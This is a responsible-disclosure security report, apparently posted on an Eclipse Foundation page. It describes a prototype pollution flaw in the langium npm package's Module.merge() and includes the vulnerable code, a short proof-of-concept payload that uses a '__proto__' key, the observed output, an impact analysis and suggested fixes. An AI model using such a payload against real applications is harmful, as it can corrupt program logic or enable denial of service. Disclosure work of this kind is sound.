[Eclipse Langium] Prototype pollution in langium Module.merge()
> **From:** Junming Wu <dr3m19@icloud.com> · **Date:** Thu, 18 Jun 2026 14:18:54 +0800 Project: eclipse-langium/langium Package: langium Affected version tested: 4.3.0 Vulnerability type: Prototype Pollution CWE: CWE-1321 Hello Eclipse Security Team, I would like to responsibly report a prototype pollution issue in the `langium` npm package. The issue is reachable through the public `Module.merge()` API exported by the package root. When merging a module object containing an own enumerable `__proto__` property, the merge logic can recurse into `Object.prototype` and write attacker-controlled properties globally. ## Summary `Module.merge()` performs a recursive merge of dependency injection module objects. During the merge, it iterates over `Object.entries(source)` and accesses `target[key]` without rejecting prototype-related keys. When `key === "__proto__"`, `target[key]` resolves to `Object.prototype`. If the source value is an object, the merge recurses into that object and writes nested attacker-controlled properties to `Object.prototype`. ## Affected Source Published package path: ``` node_modules/langium/lib/dependency-injection.js ``` Relevant code in the published package: ``` Module.merge = (m1, m2) => _merge(_merge({}, m1), m2); function _merge(target, source) { if (source) { for (const [key, sourceValue] of Object.entries(source)) { if (sourceValue !== undefined && sourceValue !== null) { if (typeof sourceValue === 'object') { const targetValue = target[key]; if (typeof targetValue === 'object' && targetValue !== null) { target[key] = _merge(targetValue, sourceValue); } else { target[key] = _merge({}, sourceValue); } } else { target[key] = sourceValue; } } } } } ``` ## Proof of Concept Tested with `langium@4.3.0`. ``` import { Module } from "langium"; delete Object.prototype.polluted; Module.merge( {}, JSON.parse('{"__proto__":{"polluted":"yes-langium"}}') ); console.log("Object.prototype.polluted:", JSON.stringify(Object.prototype.polluted)); console.log("plain object inherited:", JSON.stringify({}.polluted)); delete Object.prototype.polluted; ``` Observed output: ``` Object.prototype.polluted: "yes-langium" plain object inherited: "yes-langium" ``` ## Impact This is a prototype pollution issue in Langium's dependency injection module merge helper. The practical attack surface depends on whether an application, extension, language server, or tool built with Langium merges module/configuration objects that may be influenced by third-party packages, plugins, workspace files, generated code, or project-controlled input. An attacker who can influence a module object passed to `Module.merge()` may pollute `Object.prototype` in the Node.js process. Depending on other code running in the same process, this can lead to logic corruption, unexpected inherited properties, denial of service, or gadget-dependent escalation. I would classify the severity as low to medium because the affected API is primarily used for dependency injection module composition, and exploitability depends on whether untrusted or third-party module objects are merged. ## Suggested Fix Please consider rejecting prototype-related keys during module merging, including: ``` __proto__ constructor prototype ``` Other possible hardening options: * use null-prototype objects for merge targets; * check only safe own properties during recursive traversal; * avoid reading `target[key]` before validating that `key` is not prototype-related. Please let me know if you need any additional information or a different disclosure format. Best regards, Dremig
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent